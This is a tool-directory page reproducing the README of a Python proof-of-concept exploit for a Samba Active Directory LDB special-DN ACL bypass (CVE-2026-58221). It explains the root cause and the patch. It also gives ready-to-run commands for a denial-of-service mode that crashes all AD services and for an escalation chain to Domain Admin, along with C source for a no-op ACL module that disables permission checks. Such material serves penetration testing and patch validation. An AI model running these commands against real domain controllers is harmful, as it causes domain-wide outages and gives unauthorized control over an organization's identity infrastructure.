Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-58221 — Python PoC for CVE-2026-58221: checks and exploits Samba AD LDB special DN ACL bypass via LDAP to prove write access, crash AD services, or escalate to Domain Admin. | Kitploit
Tools/GitHubGitHub/devali00/cve-2026-58221
Authentication & AuthorizationPrivilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLabs & Practice
GitHubdevali00/cve-2026-58221

CVE-2026-58221

Python PoC for CVE-2026-58221: checks and exploits Samba AD LDB special DN ACL bypass via LDAP to prove write access, crash AD services, or escalate to Domain Admin.

View Repository
1 month agoNot yet reviewed
Share

CVE-2026-58221 — Samba AD Domain Takeover via LDB Special DN Modification

CVSS 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

Any authenticated domain user can modify internal Samba LDB special records (@MODULES, @PARTITION, @SAMBA_DSDB) via LDAP, leading to Denial of Service (crash all AD services) or Domain Admin escalation (with local filesystem access).

Affected Versions

StatusVersions
VulnerableSamba AD DC >= 4.0.0 (all versions before patch)
Fixed4.22.11, 4.23.x, 4.24.x

Advisory: https://www.samba.org/samba/security/CVE-2026-58221.html

Root Cause

Two flaws combine to bypass all access controls on Samba's internal LDB records:

Flaw 1: rootdse_filter_operations() — Insufficient Authentication Check

In source4/dsdb/samdb/ldb_modules/rootdse.c, the rootdse_filter_operations() function is the first filter in the LDAP request chain. It only blocks anonymous callers — any authenticated user passes through, regardless of privileges:

// rootdse.c — BEFORE patch
static int rootdse_filter_operations(struct ldb_module *module, struct ldb_request *req)
{
    // Only blocks anonymous — all authenticated users pass through
    if (session_info->security_token == anonymous_token) {
        return LDB_ERR_OPERATIONS_ERROR;
    }
    return ldb_next_request(module, req);  // → passes to ACL module
}

Flaw 2: acl.c — Special DN ACL Bypass

In source4/dsdb/samdb/ldb_modules/acl.c, the ACL module skips all permission checks for LDB special DNs (those starting with @), assuming only trusted internal operations reach them:

// acl.c — lines 1203/1894 (Samba 4.22.6)
if (ldb_dn_is_special(req->op.mod.message->dn)) {
    return ldb_next_request(module, req);  // NO permission check!
}

Combined effect: An authenticated low-privilege domain user sends an LDAP modify request targeting @MODULES. It passes rootdse_filter_operations() (not anonymous), reaches acl.c, which sees a special DN and skips all ACL checks — the modification succeeds.

The Patch (4.22.11+)

The fix adds an ldb_dn_is_special() check in rootdse_filter_operations() before the request reaches the ACL module:

// rootdse.c — AFTER patch (4.22.11)
static int rootdse_filter_operations(struct ldb_module *module, struct ldb_request *req)
{
    // NEW: Block all operations on special DNs from external connections
    if (ldb_dn_is_special(req->op.*.message->dn)) {
        D_ERR("CVE-2026-58221-ATTACK: %s\n", ldb_dn_get_linearized(...));
        return LDB_ERR_OPERATIONS_ERROR;
    }
    // ... rest of function
}

Architecture Deep Dive

LDB (Lightning Database)

LDB is Samba's internal database (sam.ldb), equivalent to Windows' NTDS.dit. It stores all Active Directory objects and uses a module chain architecture to process requests.

The samba_dsdb Meta-Module

samba_dsdb is the single entry point that initializes the entire Samba module chain (~30 modules). It:

  1. Reads the hardcoded module list from samba_dsdb.c (modules_list1, modules_list1a, tdb_modules_list, modules_list2)
  2. Sets the forced_module_msg opaque — which overrides any @PARTITION/modules value stored in the database
  3. Initializes rootDSE, partitions, and opaques that all other modules depend on

This is why individual modules cannot be loaded standalone — they crash with Protocol error (2) without the context samba_dsdb provides. This is also why modifying @PARTITION/modules in the database has no effect on the running module chain.

Key Special DNs

DNPurposeModification Impact
@MODULES/@LISTControls which modules Samba loads per connectionCrash (if changed from samba_dsdb)
@PARTITIONPartition configuration and per-partition modulesIgnored (overridden by forced_module_msg)
@SAMBA_DSDBInternal samba_dsdb configurationCrash

Exploitation Methods

Method 1: safe-write (Non-Destructive) ✅

Writes back the same value (@LIST: samba_dsdb) to @MODULES. Proves write access without any service impact. Recommended for pentests.

python3 exploit.py --check -H DC_IP -u 'user@domain' -p 'password'
python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' --method safe-write

Method 2: dos (Destructive) ⚠️

Replaces @MODULES/@LIST with individual module names (excluding acl/aclread). On next connection, modules fail to initialize without samba_dsdb context → all AD services crash (LDAP, SMB, Kerberos, DNS).

python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' --method dos --force

Impact: Total AD outage. Recovery requires local console access. All domain authentication stops.

Method 3: escalate (Domain Admin — Local Access Required) 🔴

Full exploitation chain to achieve Domain Admin:

  1. Confirm @MODULES is writable via LDAP (remote)
  2. Compile no-op ACL modules that pass all requests through (local)
  3. Replace acl.so / aclread.so with no-op versions (local)
  4. Restart Samba to load the no-op modules (local)
  5. Add target user to Domain Admins via LDAP (remote — ACL bypassed)
  6. Verify DA membership (remote)
python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' \
  --method escalate --force \
  --base-dn 'DC=domain,DC=local' \
  --target-dn 'CN=user,CN=Users,DC=domain,DC=local'

No-op ACL module source:

#include <ldb.h>
#include <ldb_module.h>
static int noop(struct ldb_module *m, struct ldb_request *r) {
    return ldb_next_request(m, r);
}
static const struct ldb_module_ops ops = {
    .name="acl", .add=noop, .modify=noop,
    .del=noop, .rename=noop, .search=noop
};
int ldb_init_module(const char *v) {
    return ldb_register_module(&ops);
}

Tool Modes

ModeImpactRequires
--checkNone (safe)LDAPS + domain creds
--assessNone (analysis)LDAPS + domain creds
--exploit --method safe-writeNone (proves write)LDAPS + domain creds
--exploit --method dosTotal AD outageLDAPS + domain creds
--exploit --method escalateDomain AdminLDAPS + domain creds + sudo on DC
--cleanupReverses escalationLDAPS + domain creds + sudo on DC
--fixRestores crashed DCLocal console on DC

Usage Examples

# Safe vulnerability check
python3 exploit.py --check -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd'

# Assess exploitation impact
python3 exploit.py --assess -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd'

# Non-destructive exploitation proof
python3 exploit.py --exploit -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
  --method safe-write

# DoS (DESTRUCTIVE — requires explicit authorization)
python3 exploit.py --exploit -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
  --method dos --force

# Full Domain Admin escalation (requires sudo on DC)
python3 exploit.py --exploit -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
  --method escalate --force \
  --base-dn 'DC=domain,DC=local' \
  --target-dn 'CN=testuser,CN=Users,DC=domain,DC=local'

# Reverse all changes after escalation
python3 exploit.py --cleanup -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
  --base-dn 'DC=domain,DC=local' \
  --target-dn 'CN=testuser,CN=Users,DC=domain,DC=local'

# Fix crashed DC (run on the DC itself as root)
python3 exploit.py --fix

Prerequisites

  • ldap-utils (ldapsearch, ldapmodify) — apt install ldap-utils
  • Python 3.6+
  • LDAPS connectivity to the target DC (port 636)
  • Valid domain credentials (any authenticated user — no special privileges needed)
  • For escalate/cleanup: sudo access on the DC + gcc, libldb-dev, pkg-config
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    772
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    505
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    420
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    345
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    260
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    251

Explore all tools

Browse our collection of tools

View all tools →